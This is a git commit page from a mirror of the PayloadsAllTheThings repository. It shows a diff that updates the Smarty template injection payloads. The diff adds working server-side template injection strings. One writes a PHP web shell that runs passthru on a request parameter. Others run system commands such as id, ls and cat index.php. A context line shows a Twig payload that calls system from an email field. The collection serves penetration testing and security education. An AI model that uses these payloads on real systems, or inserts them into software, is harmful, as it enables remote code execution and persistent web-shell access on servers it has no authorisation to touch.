1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-04-27 16:55:08 +02:00

Merge pull request #366 from mpgn/master

Update Smarty Template Injection
This commit is contained in:
Swissky 2021-05-20 18:08:20 +02:00 committed by GitHub
commit e3e3ca6ba2
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -233,8 +233,10 @@ email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
```python
{$smarty.version}
{php}echo `id`;{/php}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
## Freemarker